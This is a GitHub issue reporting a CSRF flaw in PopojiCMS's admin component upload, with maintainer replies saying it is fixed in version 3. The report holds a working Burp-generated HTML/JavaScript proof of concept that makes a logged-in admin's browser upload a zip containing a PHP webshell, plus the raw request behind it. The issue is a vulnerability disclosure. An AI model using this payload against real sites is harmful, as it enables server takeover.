Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

I found a CSRF vulnerability that can getshell #13

Closed
p0desta opened this issue Oct 30, 2018 · 2 comments
Closed

I found a CSRF vulnerability that can getshell #13

p0desta opened this issue Oct 30, 2018 · 2 comments

Comments

@p0desta
Copy link

p0desta commented Oct 30, 2018

    POST /PopojiCMS/po-admin/route.php?mod=component&act=addnew HTTP/1.1
    Host: www.test.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------2687329433777
    Content-Length: 594
    Origin: null
    Cookie: iCMS_USER_AUTH=dc043aa07gOqcLfWTuJoLSCrKIkbJNa8SPGk1VUKhacikJl4JxbrK2aBNBbk0bbmKnQwweqtz7vvJ93P2lLGBzezHER9aEK_HMs0_39QpgM5hSdhCCNxDv8Lwtx1RRqZEVpWUZBwAjJe9476soMuCC6-gJ1e_mfMMhYSA8ioWG1OUFUvUW07tVg5F0RUP2oamPz91F-t85bDNOEnubfHpxzFMND3EABDYJN0o1HfVweojEDYaxs-l6VEiuc0fFUlm-MIZXnd5xe1h6std5cCRwRCS_H71q-oTNO3NbuyojT9HVlCafwxmz7BTlmfIRHeADx7DImb_UyY_daATbgMffPsEHs4KApMstm9pbT4D53E8YbyCAnCDog4MQ7tV3snwpSRufPJCdeY3fkJUFyDhfbqTiJXEAxAcOWCoxGwLXWPI-Ns9Tyjh4WJChqpy0_gwa3JSszGZOQZaAf86KqeDKdct-YSE2UN6qwRVvUeOijMZrdzPxaqt_1OzlhDeBPlM4UW4xQMh7VQ3q5TcfpIHclZWiAspuU8Ynnj3XEwAo8; iCMS_userid=b8423c8bm9SnzUz782Y6XmtRdU1dTR3CL9iqL-Iv83vI7htnIg; iCMS_nickname=c3bc646dcSTyka3txmYpDcMW2sUPNhaunl7kIzv0Nf_89GTeIZNk; SESScc7018fb7c828d13ca316e4ca4f83f45=reN7QmxRtg9oImYLl_d5_ZsuNHhcU1_umYek0QW3BUc; PHPSESSID=5o4r0qmiao4kna434n7kdbnn14
    referer: http://www.test.com/fiyocms/
    Connection: keep-alive
    Cache-Control: max-age=0
    
    -----------------------------2687329433777
    Content-Disposition: form-data; name="component"
    
    p0desta
    -----------------------------2687329433777
    Content-Disposition: form-data; name="type"
    
    component
    -----------------------------2687329433777
    Content-Disposition: form-data; name="fupload"; filename="shell.zip"
    Content-Type: application/x-zip-compressed
    
    PK���

The background upload page does not have CSRF protection, so we can construct the poc

    <html>
      <!-- CSRF PoC - generated by Burp Suite Professional -->
      <body>
        <script>
          (function submitRequest()
          {
            var xhr = new XMLHttpRequest();
            xhr.open("POST", "http://www.test.com/PopojiCMS/po-admin/route.php?mod=component&act=addnew", true);
            xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
            xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
            xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------2687329433777");
            xhr.withCredentials = true;
            var body = "-----------------------------2687329433777\r\n" + 
              "Content-Disposition: form-data; name=\"component\"\r\n" + 
              "\r\n" + 
              "p0desta\r\n" + 
              "-----------------------------2687329433777\r\n" + 
              "Content-Disposition: form-data; name=\"type\"\r\n" + 
              "\r\n" + 
              "component\r\n" + 
              "-----------------------------2687329433777\r\n" + 
              "Content-Disposition: form-data; name=\"fupload\"; filename=\"shell.zip\"\r\n" + 
              "Content-Type: application/x-zip-compressed\r\n" + 
              "\r\n" + 
              "PK\x03\x04\x14\x00\x00\x08\x08\x00S\x8dSM\xef\x83M\xc6\x1b\x00\x00\x00\x19\x00\x00\x00\t\x00\x00\x00shell.php\xb3\xb1/\xc8(PH-K\xcc\xd1P\x89\x0f\xf0\x0f\x0e\x896\x8c\xd5\xb4V\xb0\xb7\x03\x00PK\x01\x02?\x00\x14\x00\x00\x08\x08\x00S\x8dSM\xef\x83M\xc6\x1b\x00\x00\x00\x19\x00\x00\x00\t\x00$\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00shell.php\n" + 
              "\x00 \x00\x00\x00\x00\x00\x01\x00\x18\x00nT\xbd\x11\x90g\xd4\x01\x84n\x12\x04\x90g\xd4\x01\x84n\x12\x04\x90g\xd4\x01PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00[\x00\x00\x00B\x00\x00\x00\x00\x00\r\n" + 
              "-----------------------------2687329433777--\r\n";
            var aBody = new Uint8Array(body.length);
            for (var i = 0; i < aBody.length; i++)
              aBody[i] = body.charCodeAt(i); 
            xhr.send(new Blob([aBody]));
          })();
        </script>
      </body>
    </html>
    

Then send it to the admin link, then we can getshell.

@DwiraSurvivor
Copy link
Contributor

Terima kasih untuk temuan ini. Kami sebagai pengembang akan segera memperbaiki masalah ini di versi berikutnya.

@DwiraSurvivor
Copy link
Contributor

Sudah diperbaiki pada versi 3

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants